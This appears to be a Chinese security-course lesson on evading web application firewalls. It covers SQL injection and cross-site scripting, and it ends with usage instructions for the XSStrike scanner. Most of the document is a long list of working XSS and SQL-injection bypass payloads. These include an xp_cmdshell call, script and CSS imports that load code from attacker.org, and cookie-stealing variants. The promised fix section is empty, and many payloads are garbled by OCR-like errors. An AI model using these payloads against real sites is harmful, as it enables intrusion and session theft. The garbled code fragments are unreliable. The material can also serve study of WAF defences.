Day28 WEB漏洞-XSS跨站之WAF绕过及安全修复

28.1 WAF分类

- 0x01 云waf在配置云waf时(通常是CDN包含的waf), DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机。
- 0x02 主机防护软件在主机上预先安装了这种防护软件,可用于扫描和保护主机(废话),和监听web端口的流量是否有恶意的,所以这种从功能上讲较为全面。这里再插一嘴,mod_security、ngx-lua-waf这类开源waf虽然看起来不错,但是有个弱点就是升级的成本会高一些。
- 0x03 硬件ips/ids防护、硬件waf使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机

28.2 常规 WAF 绕过思路

- 标签语法替换
- 特殊符号干扰
- 提交方式更改
- 垃圾数据溢出
- 加密解密算法
- 结合其他漏洞绕过

28.3 WAF身份认证阶段的绕过

WAF有一个白名单,在白名单内的客户请求将不做检测

28.3.1 0X01伪造搜索引擎

早些版本的安全狗是有这个漏洞的,就是把User-Agent 修改为搜索引擎,便可以绕过,进行sql注入等攻击,这里推荐一个谷歌插件,可以修改User-Agent,叫User-Agent Switcher

28.3.2 0X02伪造白名单特殊目录

360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截,比如GET /pen/news.php? id=1 union select user,password from mysql.user可以改为GET /pen/news.php/admin?id=1 union select user,password from mysql.user或者GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user

28.3.3 0X03直接攻击源站

这个方法可以用于安全宝、加速乐等云WAF, 云WAF的原理通过DNS解析到云WAF, 访问网站的流量要经过指定的DNS服务器解析, 然后进入WAF节点进行过滤, 最后访问原始服务器, 如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址, 便可以绕过。

28.4 WAF数据包解析阶段的绕过

• 0x01 编码绕过最常见的方法之一,可以进行 urlencode。

- 0x02 修改请求方式绕过大家都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。还有就是参数污染,典型例子就是multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。
- 0x03 复参数绕过例如一个请求是这样的GET /pen/news.PHP?
 id=1 union select user,password from MySQL.user可以修改
 为GET /pen/news.php?
 id=1&id=union&id=select&id=user,password&id=from%2
 Omysql.user很多WAF都可以这样绕

28.5 WAF触发规则的绕过

WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过 方法很多,也是最有效的。

- 0x01 特殊字符替换空格用一些特殊字符代替空格,比如在 mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过 最新版本的安全狗,在sqlserver中可以用/**/代替空格
- 0x02 特殊字符拼接把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接,例如GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')可以改为GET /pen/news.php?id=1;exec('maste'+'r..xp'+' cmdshell'+'"net user"')
- 0x03 注释包含关键字在mysql中,可以利用/!/包含关键 词进行绕过,在mysql中这个不是注释,而是取消注释的内容。 例如,GET /pen/news.php?id=1 union select user,password from mysql.user可以改为GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user

28.6 XSS绕过WAF方法总结

28.6.1 Script标签

- 1 绕过进行一次移除操作:
- 2 <scr<script>ipt>alert("xss")</scr<script>ipt>
- 3 script标签可以用于定义一个行内的脚本或者从其他地方加载脚本:
- 4 <script>alert("xss")</script>
- 5 <script src=" http://attacker.org/malicious.js"
 </script>

28.6.2 JavaScript事件

- 1 我们可以像如下这样在元素中定义Javascript 事件:
- 2 <div onclick="alert('xss')">
- 3 这个Javascript代码当有人点击它后就会被执行,同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了,但是依旧还有少量事件没有被过滤,例如,onmouseenter事件:<divonmouseenter="alert('xss')">
 当用户鼠标移动到div上时就会触发我们的代码。
- 4 另一个绕过的办法就是在属性和=之间插入一个空格:
- 5 <div onclick ="alert('xss')">

28.6.3 行内样式 (Inlinestyle)

- 1 我们同样可以在行内样式里利用**IE**浏览器支持的动态特性://**IE5**之后才支持
- 2 <div
 - style="color:expression(alert('XSS'))">//experssion后执行的语句相当于javascript后执行的语句过滤器会检查关键字style,随后跟随的不能是<,在随后是expression:
- 3 /style=[^<]*((expression\s*?
 [<]*?)I(behavior\s*:))[A<]*(?=\>)/Uis
- 4 所以,让我们需要把<放到其他地方:
- 5 <div
 style="color:'<';color:expression(alert('xss'))">

28.6.4 CSS Import

```
1 IE浏览器支持在CSS中扩展Javascript,这种技术称为动态特性
   (dynamic properties)。允许攻击者加载一个外部CSS样式表
   是相当危险的, 因为攻击者现在可以在原始页面中执行
   Javascript代码了。
   <style>
   @import url("
   http://attacker.org/malicious.css");
4 </sty1e>
  malicious.css:
   body{
6
   color: expression (alert('xss'));
   }
   为了绕过对@import的过滤,可以在CSS中使用反斜杠进行绕过:
10
  <sty1e>
   @imp\orturl("http://attacker.org/ma1icious.css";
11
12 </style>
   IE浏览器会接受反斜杠,但是我们绕过了过滤器。
13
```

28.6.5 JavaScript URL

链接标签里可以通过在URL中使用javascript:来执行 Javascript: link 2 上面的过滤会从代码中移除javascript:,所以我们不能直接这么 3 写代码。但我们可以尝试改变javascript:的写法,使它依旧可以 被浏览器执行但又不匹配正则表达式。首先来尝试下URL编码: 1ink 上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为 5 浏览器会首先进行URL解码操作。另外,我们还可以使用 VBScript,虽然它在IE11中被禁用了,但依旧可以运行在旧版本 的IE或者启用兼容模式的IE11上。我们可以使用类似上面 Javascript的方式来插入VBScript代码: 1ink 6 '-confirm`1`-' 7 '-confirm(1)-'

28.6.6 利用字符编码

8

```
1 %c1;alert(/xss/);//
```

28.6.7 绕过长度限制

```
"onclick=alert(1)//
2 "><!--
  --><script>alert(xss);</script>
```

28.6.8 使用标签

```
1 <script>alert(navigator.userAgent) </script>
```

```
2
    <script>alert(88199)</script>
    <script>confirm(88199)</script>
 3
    <script>prompt(88199) </script>
    <script>\u0061\u006C\u0065\u0072\u0074(88199)
    </script>
   <script>+alert(88199)</script>
 6
   <script>alert(/88199/)</script>
    <script src=data:text/javascript, alert( 88199)>
    </script>
    <script src=&#100&#97&#116&#97:text/javascript,</pre>
 9
    alert(88199)></script>
    <script>alert(String.fromCharCode(49, 49))
10
    </script>
    <script>alert(/88199/.source)</script>
11
    <script>setTimeout(alert(88199), 0)</script>
12
    <script>document['write'](88199);</script>
13
14
    <anytag onmouseover-alert(15)>M
    <anytag onclick=alert (16)>M
15
16
    <a onmouseover=alert(17)>M
17
    <a onclick=alert(18)>M
    <a href=javascript:alert(19)>M
18
    <button/onclick=alert(20)>M
19
    <form> <button
20
    formaction=javascript:alert(21)>M
21
    <form/action=javascript:alert(22)>
22
    <input/type=submit>
    <form onsubmit=alert(23)><button>M
23
    <form onsubmit=alert(23)><button>M
24
    <img src=x onerror=alert(24)> 29
25
    <body/onload= alert(25)>
26
27
    <body
28
```

```
29
   <input autofocus>
30
31
   <iframe src=" http://0x.1v/xss.swf"></iframe>
32
   <iframe/onload=alert(document.domain)></iframe>
33
   <IFRAME SRC="javascript:alert(29);"></IFRAME>
34
   <meta http-equiv=" refresh" content="0;</pre>
35
36
   ur1=data:text/html,%3C%73%63%72%69%70%74%3E%61%6
   C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">^_
   <object
37
   data=data:text/html;base64,PHNjcmIwdD5hbGVydChkb
38
   2N1bwudc5kb21haw4pPC9zY3JpCHQ+>
   </object>
39
   <object data="javascript:alert(document .</pre>
40
   domain)">
41
42
   <marquee onstart=alert(30)></marquee>
   <isindex type=image src=1 onerror=alert (31)>
43
   <isindex action=javascript:alert(32) type-image>
44
45
   <input onfocus=alert(33) autofocus>
   <input onblur=alert(34) autofocus><input</pre>
46
   autofocus>
```

测试Clickme<a被过滤? href被过滤? 其他内容被过滤? 如果没有过滤尝试使用Clickme尝试使用错误的事件查看过滤ClickHereHTML5拥有150个事件处理函数,可以多尝试其他函数<body/onhashchange=alert(1)>clickit

```
src属性
<img src=x
            onerror=prompt(1);>
<img/src=aaa.jpg
                    onerror=prompt(1);
<video src=x onerror=prompt(1);>
<audio src=x
              onerror=prompt(1);>
iframe
<iframesrc="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDE</pre>
Embed
<embed/src=//goo.gl/nlx0P>
Action
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindexaction=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1)type=image>
<isindex action=data:text/html, type=image>
mario验证
<span class="pln">
                     </span><spanclass="tag">&lt;formaction</span>
<spanclass="pun">=</span>
<spanclass="atv">&amp;#039;data:text&amp;sol;html,&amp;lt;script&amp;gt;alert(1)
&lt/script&gt'</span><spanclass="tag">&gt;&lt;button&gt;</span>
<spanclass="pln">CLICK</span>
"formaction"属性
<isindexformaction="javascript:alert(1)"</pre>
                                           type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><buttonformaction=javascript&colon;alert(1)>CLICKME
"background"属性
 // Works on Opera10.5
                                                                       and
IE6
"posters" 属性
<video poster=javascript:alert(1)//></video> // Works Upto Opera10.5
"data"属性
<object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlx0P?</pre>
"code"属性
<applet code="javascript:confirm(document.cookie);"> // FirefoxOnly
<embed code=" http://businessinfo.co.uk/labs/xss/xss.swf"</pre>
```

allowscriptaccess=always>

事件处理

```
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
短payload
<q/oncut=open()>
<q/oncut=alert(1)> // Useful in-case of payloadrestrictions.
嵌套欺骗
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body language=vbsonload=alert-1 // Works with IE8</pre>
F\x6E\x3B\x63\x6F\x6E\x66\x6
9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>
// Works with IE8
圆括号被过滤
<a onmouseover="javascript:window.onerror=alert;throw 1">
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw&#039;=alert\x281\x29&#039;;</pre>
Expression 属性
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(&#039;&#039;x:expression(alert(1))"></div>
                                                                // Works
upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7
"location"属性
<a onmouseover=location='javascript:alert(1)>click
<body onfocus="location=&#039;javascrpt:alert(1) >123
其他Payload
<meta http-equiv="refresh" content="0;url=//goo.gl/nlXOP">
<meta http-equiv="refresh"
                            content="0; javascript: alert(1)"/>
<svg xmlns=" http://www.w3.org/2000/svg"><g
onload="javascript:\u0061lert(1);"></g></svg> //
                                                 By @secalert
<svg xmlns:xlink=" r=100 /><animateattributeName="xlink:href"</pre>
values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>
By @secalert
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-</pre>
equiv="refresh"/>
<math><a xlink:href="//jsfiddle .NET/t846h/">click // ByAshar Javed
()::被过滤
<svg><script>alert&#40/1/&#41</script> // Works With All Browsers
( is html encoded to &#40
) is html encoded to &#41
Opera的变量
<svg><script>alert&#40 1&#41 // Workswith Opera Only
实体解码
</script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
<a href="j&#x26;#x26#x41;vascript:alert%252831337%2529">Hello</a>
编码
JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,
(支持HTML, Octal, Decimal, Hexadecimal, and Unicode)
```

```
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64
```

28.6.9 基于上下文的过滤

WAF最大的问题是不能理解内容,使用黑名单可以阻挡独立的js脚本,但仍不能对xss提供足够的保护,如果一个反射型的XSS是下面这种形式

28.6.10 输入反射属性

```
<inputvalue="XSStest" type=text>
我们可以使用 "><imgsrc=x onerror=prompt(0);>触发,但是如果<>被过滤,我们仍然可以使用"
autofocusonfocus=alert(1)//触发,基本是使用" 关闭value属性,再加入我们的执行脚本
" onmouseover="prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
输入反射在<script>标签内
类似这种情况:
<script>
Var
x="Input";
</script>
```

```
通常,我们使用"></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(),prompt()confirm(),例如:
";alert(1)//
2.4.3 超文本内容
代码中的情况如下
<a
href="Userinput">Click</a>
可以使用javascript:alert(1)//直接执行<a
href="javascript:alert(1)//">Click</a>
```

28.6.11 变形

```
主要包含大小写和JavaScript变形
javascript:alert(1)
javaSCRIPT:alert(1)
JavaScRipT:alert(1)
javas	 cript:\u0061lert(1);
javascript:\u0061lert(1&#x29
avascript:alert(document.cookie) // AsharJaved
IE10以下和URI中可以使用VBScript
vbscript:alert(1);
vbscript:alert(1);
vbscr	 ipt:alert(1)"
Data UR1
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
2.4.5JSON内容
反射输入
encodeURIComponent('userinput')
可以使用
-alert(1)-
-prompt(1)-
-confirm(1)-
结果
encodeURIComponent(''-alert(1)-'')
encodeURIComponent(' ' -prompt(1) - ' ')
```

28.6.12 输入反射在svg标签内

```
源码如下:
<svg><script>varmyvar="YourInput";</script></svg>
可以输入
www.site.com/test. PHP?var=text";alert(1)//
如果系统编码了"字符
<svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>
原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理
浏览器BUG
```

28.6.13 字符集BUG

```
字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99%的WAF过滤。示例
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS可以控制编码,提交
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img
src=x onerror=prompt(0);>可以修改为UTF-32编码形式
???script?alert(1)?/script?
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-
32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
```

28.6.14 空字节

最长用来绕过mod_security防火墙,形式如下:

- <scri%00pt>alert(1)
- </scri%00pt><scri\x00pt>alert(1)
- </scri%00pt><s%00c%00r%00%00ip%00t>confirm(0)
- </s%00c%00r%00%00ip%00t>

空字节只适用于PHP 5.3.8以上的版本

28.6.15 语法BUG

```
RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行
<script>alert(1);</script>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>
<%, <//, <!,<?可以被解析成<, 所以可以使用以下的payload
<// style=x:expression\28write(1)\29> // Works upto IE7 参考
http://html5sec.org/#71
<!--[if]><script>alert(1)</script --> // Worksupto IE9 参考
http://html5sec.org/#115
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>
// Works in IE7 参考 http://html5sec.org/#77
<%div%20style=xss:expression(prompt(1))> // Works Upto IE7
```

28.6.16 Unicode分隔符

```
[on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试 0×00到0xff,结果如下:
IExplorer= [0x09,0x08,0x0C,0x20,0x38]
Chrome = [0x09,0x20,0x28,0x2C,0x38]
Safari = [0x2C,0x38]
FireFox= [0x09,0x20,0x28,0x2C,0x38]
Opera = [0x09,0x20,0x2C,0x38]
Android = [0x09,0x20,0x28,0x2C,0x38]
x0b在Mod_security中已经被过滤,绕过的方法:
<a/onmouseover[\x0b] = location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x38&#039;>rhainfosec
```

28.6.17 缺少X-frame选项

28.6.18 Window.name欺骗

```
情景: 我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码
<iframesrc=&#039; http://www.target.com?foo="xss autofocus/AAAAA
onfocus=location=window.name//'
name="javascript:alert("XSS")"></iframe>
DOM型XSS
服务器不支持过滤DOM型的XSS, 因为DOM型XSS总是在客户端执行, 看一个例子:
<script>
   vari=location.hash;
   document.write(i);
   </script>
在一些情况下,反射型XSS可以转换成DOM型XSS:
http:// www.target.com/xss.php?foo=<svg/
onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/
.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:
上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码
Location.hash[1] = : // Defined at the first position after the hash.
Location.hash[2]= ( // Defined at the second position after the has
Location.hash[3] = ) // Defined at third position after the hash
如果有客户端过滤可能不适用
```

28.6.19 ModSecurity绕过

28.6.20 WEB KNIGHT绕过

28.7 安全修复方案



28.8 XSStricke(自动化xss绕过waf)

28.8.1 XSS介绍

XSStrike是一款用于探测并利用XSS漏洞的脚本 XSStrike目前所提供的产品特性:

- 对参数进行模糊测试之后构建合适的payload
- 使用payload对参数进行穷举匹配
- 内置爬虫功能
- 检测并尝试绕过WAF
- 同时支持GET及POST方式
- 大多数payload都是由作者精心构造
- 误报率极低

28.8.2 使用方法

下载安装:

```
下载地址: https://github.com/s0md3v/XSStrike
   最新版支持python3windows、linux系统都可以运行完成下载
 3 进入XSStrike目录:
4 cd XSStrike
   pip install -r requirements.txt
   #XSStrike 主要特点反射和 DOM XSS 扫描
8 Context 分析
   可配置的核心。
   检测和规避 WAF
10
11 老旧的 JS 库扫描
12 智能 payload 生成器
   手工制作的 HTML & JavaScript 解析器
13
14 强大的 fuzzing 引擎
   盲打 XSS 支持
15
16
17 完整的 HTTP 支持
18 Bruteforce payloads 支持
19 Payload 编码
```

测试一个使用GET方法的网页:

```
C:\WINDOWS\system32\cmd.exe
 File "C:\Python3\XSStrike\core\fuzzer.py", line 20, in fuzzer
   sleep(t)
eyboardInterrupt
C:\Python3\XSStrike>python xsstrike.py -u "http://192.168.195.128/xss-1abs/1evel1.php?na
        XSStrike v3.1.4
   Checking for DOM vulnerabilities
   WAF Status: Offline
   Testing parameter: name
Reflections found: 1
   Analysing reflections
   Generating payloads
   Payloads generated: 3072
   Payload: <a%09onMOuseOVer+=+a=prompt, a()%0dx>v3dm0s
   Efficiency: 92
   Confidence: 10
   Payload: <htML%090nmOuseover+=+(confirm)()%0dx//
 Efficiency: 92
Confidence: 10
   Payload: <a/+/onmOuSeOver+=+[8].find(confirm)>v3dm0s
   Efficiency: 94
Confidence: 10
   Payload: <deTaI1S%0aontoGg1e%0d=%0dconfirm()%0dx>
```

测试POST数据:

```
1 python xsstrike.py -u
   "http://192.168.195.128/xss-labs/level1.php?
   name=test" -- data "q=query"
2 python xsstrike.py -u
   "http://192.168.195.128/xss-labs/level1.php?
   name=test" -- data '{"q":"query"} --json'
```

测试URL路径:

```
python xsstrike.py -u
   "http://192.168.195.128/xss-labs/level1.php?
   name=test" -- path
```

从目标网站开始搜寻目标并进行测试:

```
python xsstrike.py -u
   "http://192.168.195.128/xss-labs/level1.php?
   name=test" -- crawl
```

您可以指定爬网的深度,默认2: -l python3 xsstrike.py -u "http://192.168.195.128/xss-labs/lev el1.php?name=test" --crawl -l 3

如果要测试文件中的URL,或者只是想添加种子进行爬网,则可以使用该--seeds 选项:

```
python xsstrike.py --seeds urls.txt
```

查找隐藏的参数:

通过解析HTML和暴力破解来查找隐藏的参数

```
1 python xsstrike.py -u
   "http://192.168.195.128/xss-labs/level1.php?
   name=test" -- params
```

盲XSS:

爬行中使用此参数可向每个html表单里面的每个变量插入xss代码

```
python xsstrike.py -u
  "http://192.168.195.128/xss-labs/level1.php?
  name=test" -- crawl --blind
```

模糊测试:

--fuzzer该模糊器旨在测试过滤器和Web应用程序防火墙,可使用 - d 选项将延迟设置为1秒

```
1 python xsstrike.py -u
   "http://192.168.195.128/xss-labs/level1.php?
   name=test" -- fuzzer
```

跳过DOM扫描在爬网时可跳过DOM XSS扫描,以节省时间:

```
1 python xsstrike.py -u
   "http://192.168.195.128/xss-labs/level1.php?
   name=test" -- skip-dom
```

更新:

如果跟上--updata选项,XSStrike将检查更新。如果有更新的版本可用,XSStrike将下载更新并将其合并到当前目录中,而不会覆盖其他文件。

```
1 python3 xsstrike.py --update
```

参数详解:

```
1 -h, --help
//显示帮助信息
2 -u, --url
//指定目标 URL
3 --data
//POST 方式提交内容
4 -v, --verbose
//详细输出
5 -f, --file
//加载自定义 paload 字典
6 -t, --threads
//定义线程数
```

```
-1, --level
   //爬行深度
8 -t, --encode
   //定义 payload 编码方式
9 -- json
   //将 POST 数据视为 JSON
10 --path
   //测试 URL 路径组件
11 --seeds
   //从文件中测试、抓取 URL
12
  --fuzzer
   //测试过滤器和 web 应用程序防火墙。
   --update
13
   //更新
14 --timeout
   //设置超时时间
15 --params
   //指定参数
16 --crawl
   //爬行
17 --proxy
   //使用代理
18 --blind
   //盲测试
19 --skip
   //跳过确认提示
20 --skip-dom
   //跳过 DOM 扫描
21 --headers
  //提供 HTTP 标头
22 -d, --delay
   //设置延迟
```

资源:

https://github.com/3xp10it/xwaf https://xssfuzzer.com/fuzzer.html https://github.com/s0md3v/XSStrike https://bbs.pediy.com/thread-250852.html https://github.com/TheKingOfDuck/fuzzDicts